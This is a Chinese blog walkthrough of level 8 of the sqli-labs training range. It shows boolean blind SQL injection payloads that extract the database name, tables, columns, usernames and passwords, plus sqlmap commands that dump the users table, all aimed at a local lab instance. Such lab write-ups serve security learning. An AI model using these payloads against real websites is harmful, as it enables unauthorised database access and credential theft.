首页 > 数据库 >Sqli-labs第八关靶场攻略及知识点

Sqli-labs第八关靶场攻略及知识点

时间:2024-11-29 23:32:13浏览次数:7  
标签:知识点 Less 0.1 labs sqli master Sqli id

本系列笔记的内容及灵感来源于csdn上众多优秀文章,均为本人在自己练习中所看过并受益的,还有一些群聊里老哥们的解读。本人目前也是菜鸟一枚,文中若有错误或不合理的地方,读者们敬请斧正。

如涉及侵权则删除文章,笔记只是个人学习记录及分享,只做学习交流

请诸位网安人熟读网络安全法,切勿触碰法律底线,否则后果自负!


第八关

先判断是否存在sql注入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

http://127.0.0.1/sqli-labs-master/Less-8/?id=1"

只有单引号时无回显,存在sql注入

判断是字符型还是数字型

http://127.0.0.1/sqli-labs-master/Less-8/?id=1 and 1=1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1 and 1=2 //数字型

127.0.0.1/sqli-labs-master/Less-8/?id=1' and '1'='1
127.0.0.1/sqli-labs-master/Less-8/?id=1' and '1'='2 //字符型

单引号字符型注入

判断闭合条件

结合上述测试,可推得为单引号闭合

查看源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

判断表列

?id=1' order by 3 --+

?id=1' order by 4 --+

布尔盲注

爆出数据库长度

?id=1'and length((select database()))=7--+

?id=1'and length((select database()))=8--+

爆出数据库名

试出第一个字母为115=s

?id=1'and ascii(substr((select database()),1,1))=115--+

爆出表名

确定第一个表的名称

第一个字母为e=101

?id=1' and (ascii(substr(( select  table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+

各个表名与长度

爆出列名

使用语句依次查询出users下各个列名

例句中为,查询第五列的第一个字母为u

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=117 --+

爆出用户名和密码

从 “users” 表中选择 “username” 字段的值。“limit 0,1” 表示只取第一条记录(这里是从第 0 个记录开始,也就是第一条记录)所以这个内层查询的目标就是获取 “users” 表中第一条记录的 “username” 字段值。

?id=1' and (ascii(substr(( select  username from users limit 0,1),1,1)))>1--+

?id=1' and (ascii(substr(( select  password from users limit 0,1),1,1)))>1--+

Sqlmap注入方式

爆库

python sqlmap.py  -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" –dbs

爆表

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -tables

爆列

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users -columns

爆字段

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users -C username,password -dump


第八关完

  若对其中一些知识点有疑问或不解的地方,可查看作者前几关的笔记,其中较为详细地列出了其中的知识点。

Sqli-labs第一关靶场攻略及知识点-CSDN博客

Sqli-labs第二关靶场攻略及知识点-CSDN博客

Sqli-labs第三关靶场攻略及知识点-CSDN博客

Sqli-labs第四关靶场攻略及知识点-CSDN博客

Sqli-labs第五关靶场攻略及知识点-CSDN博客

Sqli-labs第六关靶场攻略及知识点-CSDN博客

Sqli-labs第七关靶场攻略及知识点-CSDN博客

标签:知识点,Less,0.1,labs,sqli,master,Sqli,id
From: https://blog.csdn.net/2302_78453772/article/details/144147470

相关文章

  • 动态内存管理的知识点笔记总结
    开始之前,我们解释一为什么存在动态内存分配?在我们之前写的:intarr[10]={0};连续开辟40个字节的空间inta=10;在内存开辟4个字节但是,1.这种大小是固定死的,我们是无法改变的。2.数组在申明的时候,必须指定数组的长度,它所需要的内存在编译时分配。但是对于空间的需求......
  • JavaWeb知识点总结
    目录JavaWebjunit黑盒测试白盒测试注解所需jar包反射作用获取Class对象的方式class对象功能应用注解作用预定义的注解自定义注解解析注解动态代理ProxyMaven作用概述仓库maven依赖仓库:IDEA集成Maven高级功能JDBC概念本质快速入门各个对象抽取JDBC工具类(JDBCUtils)JDBC控制事务数据......
  • NOIP知识点总结
    NOIP知识点总结基础算法模拟/搜索最基础的东西。没有思路就要打暴力!写模拟注意思路清晰。例题:[CSP-S2023]结构体,[NOIP2017提高组]时间复杂度。应该不会有更难的模拟了吧?分治将问题分为子问题,分别解决,然后再合并。归并排序利用了分治思想。贪心需要证明,最好不......
  • Vue 项目开发常用知识点
    一、基础语法与指令1.插值表达式插值表达式是Vue中最基础的数据绑定方式,使用双大括号{{}}将数据包裹起来,例如{{message}},它会将Vue实例中的message属性的值渲染到页面相应位置。这种方式可以方便地在页面中展示动态数据,如从后端获取的数据或者用户输入的信息。2.......
  • 2022 年 12 月大学英语四级考试真题(第一套)知识点总结
    1.作文Inthistask,youaretowriteanessaystudentsonthenecessityofdevelopingsocialskillsforcollege.Youwillhave30minutesforthetask.Youshouldwriteatleast120180wordsbutnomorethanwords.【分析】这是一篇议论文,要求论述培养大学......
  • 【C语言的奥秘6】函数知识点总结最全
    一、什么是函数程序是由多个零件组合而成的,而函数就是这种“零件”的一个较小的单位。也可以叫子程序。在计算机科学中,子程序是一个大型程序中的某部分代码,由一个或多个语句块组成。它负责完成某项特定任务,而且相较于其他代码,具备相对的独立性。一般会有输入参数并有返回值,......
  • java面向对象知识点: 封装,构造,重载
    目录封装封装知识点private(私有)public(公共) 二、getter和setter方法getter方法(访问器方法)setter方法(修改器方法)三、封装类的设计原则单一职责原则高内聚性一.Java为什么要封装?一、数据隐藏与安全性保护数据不被随意访问防止外部干扰二、提高代码的可维......
  • app的知识点
    一、appium实现原理========================================二、app测试中遇到的问题(一)app出现ANR(无响应),是什么原因导致的?那么导致ANR的根本原因是什么呢?简单的总结有以下两点:1.主线程执行了耗时操作,比如数据库操作或网络编程2.其他进程(就是其他程序)占用CPU导致本进程得......
  • 查找相关知识点
    一.基本概念1.查找:在数据集合中寻找满足条件的数据元素2.查找表:用于查找的数据结合称之为查找表3.静态查找表(StaticSearchTable):只作查找操作的查找表。主要操作查询某个“特定的”数据元素是否在查找表中。检索某个“特定的”数据元素和各种属性。4.动态查找表(Dy......
  • 小知识点
    1、可以在go.mod里设置一个package名,这样可以将这个package名作为go.mod所在目录的包名,导包的时候可以用这个名作为路径例如:2、time.UnixMilli()是以毫秒为单位获取时间戳3、typestrstring//可以把str同时视为一个string和一个类//可以给str添加方法func(sstr)s1()int......